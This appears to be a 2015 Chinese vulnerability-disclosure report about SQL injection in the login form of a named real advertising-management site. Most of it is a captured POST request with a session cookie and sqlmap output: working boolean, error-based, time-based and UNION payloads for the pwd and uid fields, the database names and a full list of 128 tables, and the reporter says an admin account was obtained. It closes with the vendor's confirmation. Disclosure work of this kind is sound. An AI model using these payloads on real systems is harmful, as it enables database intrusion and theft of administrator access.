2015-04-17： 细节已通知厂商并且等待厂商处理中 2015-04-22： 厂商已经确认，细节仅向厂商公开 2015-05-02： 细节向核心白帽子及相关领域专家公开 2015-05-12： 细节向普通白帽子公开 2015-05-22： 细节向实习白帽子公开 2015-06-06： 细节向公众公开
233
POST /login/submit/0.4950417291838676 HTTP/1.1Content-Length: 15Content-Type: application/x-www-form-urlencodedReferer: http://manager.ranknowcn.com/Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22ab59087437b81f2c63b6cfd14b7bafa5%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22114.247.50.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A107%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F38.0.2125.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1429255870%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D7cb3c225e93fcac169a83abeb65e18d4Host: manager.ranknowcn.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36Accept: */*pwd=1&uid=e参数 pwd 和 uid
---Parameter: pwd (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: pwd=-7780' OR 9789=9789#&uid=e Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause Payload: pwd=-5290' OR 1 GROUP BY CONCAT(0x716b707071,(SELECT (CASE WHEN (8847=8847) THEN 1 ELSE 0 END)),0x7162767171,FLOOR(RAND(0)*2)) HAVING MIN(0)#&uid=e Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind (comment) Payload: pwd=1' OR SLEEP(5)#&uid=e Type: UNION query Title: MySQL UNION query (NULL) - 10 columns Payload: pwd=1' UNION ALL SELECT CONCAT(0x716b707071,0x76775765786e63734c6e,0x7162767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&uid=eParameter: uid (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: pwd=1&uid=-6119' OR 9370=9370# Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause Payload: pwd=1&uid=-9350' OR 1 GROUP BY CONCAT(0x716b707071,(SELECT (CASE WHEN (3688=3688) THEN 1 ELSE 0 END)),0x7162767171,FLOOR(RAND(0)*2)) HAVING MIN(0)# Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind (comment) Payload: pwd=1&uid=e' OR SLEEP(5)# Type: UNION query Title: MySQL UNION query (NULL) - 10 columns Payload: pwd=1&uid=e' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b707071,0x5061774e5170635a5668,0x7162767171)#---web server operating system: Windows 2000 or 7web application technology: Nginx, PHP 5.6.4back-end DBMS: MySQL >= 5.0.0available databases [4]:[*] fengchao[*] fengchao_tree[*] information_schema[*] testDatabase: fengchao[128 tables]+---------------------------------+| UpdateBaiduData_newPlan || hour || admin || adminType || baiduAccount || baidu_adgroup_2469206 || baidu_adgroup_2794343 || baidu_adgroup_347380 || baidu_adgroup_3583202 || baidu_adgroup_406200 || baidu_adgroup_7385033 || baidu_apilog || baidu_budgetofflinetime || baidu_campaign_2469206 || baidu_campaign_2794343 || baidu_campaign_347380 || baidu_campaign_3583202 || baidu_campaign_406200 || baidu_campaign_7385033 || baidu_city || baidu_creative_2469206 || baidu_creative_2794343 || baidu_creative_347380 || baidu_creative_3583202 || baidu_creative_406200 || baidu_creative_7385033 || baidu_duihua_2469206 || baidu_duihua_2794343 || baidu_duihua_347380 || baidu_duihua_3583202 || baidu_duihua_406200 || baidu_duihua_7385033 || baidu_keywordStatus || baidu_keyword_2469206 || baidu_keyword_2794343 || baidu_keyword_347380 || baidu_keyword_3583202 || baidu_keyword_406200 || baidu_keyword_7385033 || baidu_mibao || baidu_negativewords || baidu_newcreative_2469206 || baidu_newcreative_2794343 || baidu_newcreative_347380 || baidu_newcreative_3583202 || baidu_newcreative_406200 || baidu_newcreative_7385033 || baidu_position || baidu_regiontarget || baidu_report || baidu_reportLog || baidu_report_idea_2469206 || baidu_report_idea_2794343 || baidu_report_idea_347380 || baidu_report_idea_3583202 || baidu_report_idea_406200 || baidu_report_idea_7385033 || baidu_report_plan_2469206 || baidu_report_plan_2794343 || baidu_report_plan_347380 || baidu_report_plan_3583202 || baidu_report_plan_406200 || baidu_report_plan_7385033 || baidu_report_searchword_2469206 || baidu_report_searchword_2794343 || baidu_report_searchword_347380 || baidu_report_searchword_3583202 || baidu_report_searchword_406200 || baidu_report_searchword_7385033 || baidu_report_user_2469206 || baidu_report_user_2794343 || baidu_report_user_347380 || baidu_report_user_3583202 || baidu_report_user_406200 || baidu_report_user_7385033 || baidu_report_word_2469206 || baidu_report_word_2794343 || baidu_report_word_347380 || baidu_report_word_347380_copy || baidu_report_word_3583202 || baidu_report_word_406200 || baidu_report_word_7385033 || baidu_schedule || campaign_stats_1234567 || campaign_stats_2469206 || campaign_stats_347380 || campaign_stats_3583202 || campaign_stats_406200 || iyhui_log_url || keywordLog || keywordLog_copy || keywordUrlState || keyword_stats_1234567 || keyword_stats_2469206 || keyword_stats_347380 || keyword_stats_3583202 || keyword_stats_406200 || newKeyword || new_apilog || planGroup || reportTest || report_oneDay || swt_data || swt_dataGuiji || swt_duihuaWord || swt_platform || swt_talktype || swt_uploadLog || syslog || temp_baiduKeyword || tiaoJiaKeyword || tiaoJiaKeywordLog || tiaoJiaKeywordUpdLog || tiaoJiaType || tiaochiLog || tuijian_reportLog || tuijian_tuozhan || tuijian_usersRootWord || tuijian_zhongzi || userHangYe || userUpd_Log || users || usersType || users_baiduToken || webData_cacheIndex || webservicelog || websiteUrlSummary || wordUrl_temp |+---------------------------------+拿到管理账号：
~~紧急修复！
危害等级：中
漏洞Rank：10
确认时间：2015-04-22 12:45
好多谢，尽快修复
暂无
